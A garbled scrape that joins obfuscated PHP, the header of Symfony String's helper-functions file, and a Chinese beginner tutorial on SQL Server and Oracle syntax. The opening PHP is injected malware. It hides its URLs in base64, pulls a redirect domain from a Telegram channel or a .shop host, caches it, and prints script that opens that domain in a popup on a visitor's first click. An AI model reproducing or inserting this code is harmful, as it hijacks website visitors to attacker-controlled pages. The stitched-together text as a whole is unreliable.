function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } 【SQL語法教學】SQL Server與Oracle語法完整入門指南 - OOLIN

【SQL語法教學】SQL Server與Oracle語法完整入門指南

資料庫

SQL(結構化查詢語言)是一種用於管理和操作關聯型數據庫的標準語言。本文將介紹 SQL Server 和 Oracle 兩大數據庫系統中常用的 SQL 語法,讓你對 SQL 語法有更清晰的理解和應用。

1. 基本查詢語法

SQL Server 和 Oracle 都支持標準的 SQL 查詢語法,下面的範例展示了如何從表格中查詢數據。

SELECT column1, column2
FROM table_name
WHERE condition;

例子:

假設有一個名為 Employees 的表,包含 EmployeeIDName 兩個列,查詢所有員工的 EmployeeIDName

SELECT EmployeeID, Name
FROM Employees;

2. 插入數據

插入數據的語法在 SQL Server 和 Oracle 中非常相似。以下是插入單行數據的基本語法:

INSERT INTO table_name (column1, column2)
VALUES (value1, value2);

例子:

插入一個新員工的資料:

INSERT INTO Employees (EmployeeID, Name)
VALUES (1, 'John Doe');

3. 更新數據

使用 UPDATE 語句可以更新已經存在的數據。SQL Server 和 Oracle 的語法相同:

UPDATE table_name
SET column1 = value1, column2 = value2
WHERE condition;

例子:

EmployeeID 為 1 的員工的 Name 更新為 ‘Jane Doe’:

UPDATE Employees
SET Name = 'Jane Doe'
WHERE EmployeeID = 1;

4. 刪除數據

刪除數據的語法也相似。使用 DELETE 語句:

DELETE FROM table_name
WHERE condition;

例子:

刪除 EmployeeID 為 1 的員工:

DELETE FROM Employees
WHERE EmployeeID = 1;

5. 創建表格

創建表格的語法基本相同,但 SQL Server 和 Oracle 在一些細節上有所不同,特別是在數據類型和自增字段的定義上。

SQL Server

CREATE TABLE table_name (
column1 datatype PRIMARY KEY,
column2 datatype,
...
);

Oracle

CREATE TABLE table_name (
column1 datatype PRIMARY KEY,
column2 datatype,
...
);

例子:

創建一個 Employees 表:

CREATE TABLE Employees (
EmployeeID INT PRIMARY KEY,
Name VARCHAR(100)
);

6. 聚合函數

SQL 中常用的聚合函數有:COUNTSUMAVGMINMAX。它們的語法相同,通常與 GROUP BY 一起使用。

例子:

計算員工總數:

SELECT COUNT(*) FROM Employees;

計算員工工資的平均值(假設 Salary 列存在):

SELECT AVG(Salary) FROM Employees;

7. 排序查詢結果

ORDER BY 用於排序查詢結果,默認為升序(ASC),如果需要降序則使用 DESC

例子:

Name 升序排列員工:

SELECT EmployeeID, Name
FROM Employees
ORDER BY Name ASC;

8. 關聯查詢(JOIN)

JOIN 用於將多個表格聯接在一起,根據條件來獲取多表數據。常見的 JOIN 類型有:INNER JOINLEFT JOINRIGHT JOINFULL JOIN

例子:

假設有兩個表格:EmployeesDepartments,每個員工都有一個 DepartmentID,我們可以通過 INNER JOIN 來聯接這兩個表格。

SELECT Employees.EmployeeID, Employees.Name, Departments.DepartmentName
FROM Employees
INNER JOIN Departments ON Employees.DepartmentID = Departments.DepartmentID;

9. 子查詢

子查詢是嵌套在其他 SQL 查詢中的查詢。你可以在 SELECTINSERTUPDATEDELETE 語句中使用子查詢。

例子:

查詢所有工資高於平均工資的員工:

SELECT Name
FROM Employees
WHERE Salary > (SELECT AVG(Salary) FROM Employees);

10. 資料庫和表格管理

創建資料庫

SQL Server

CREATE DATABASE database_name;

Oracle

CREATE DATABASE database_name;

查看所有資料庫和表格

SQL Server

-- 查看所有資料庫
SELECT name FROM sys.databases;

-- 查看所有表格
SELECT table_name FROM information_schema.tables;

Oracle

-- 查看所有資料庫
SELECT * FROM v$database;

-- 查看所有表格
SELECT table_name FROM all_tables;

11. SQL Server 與 Oracle 的差異

雖然 SQL Server 和 Oracle 的語法大部分相同,但還是有一些差異需要注意:

  • 數據類型:SQL Server 和 Oracle 可能在數據類型的命名和使用上有所不同。例如,SQL Server 使用 VARCHAR,而 Oracle 使用 VARCHAR2
  • 自增字段:在 SQL Server 中使用 IDENTITY 來定義自增字段,而在 Oracle 中則使用 SEQUENCE 和觸發器(Trigger)來實現類似功能。

希望本文的教學能幫助你更好地理解 SQL,並將其應用於實際工作中。

發佈留言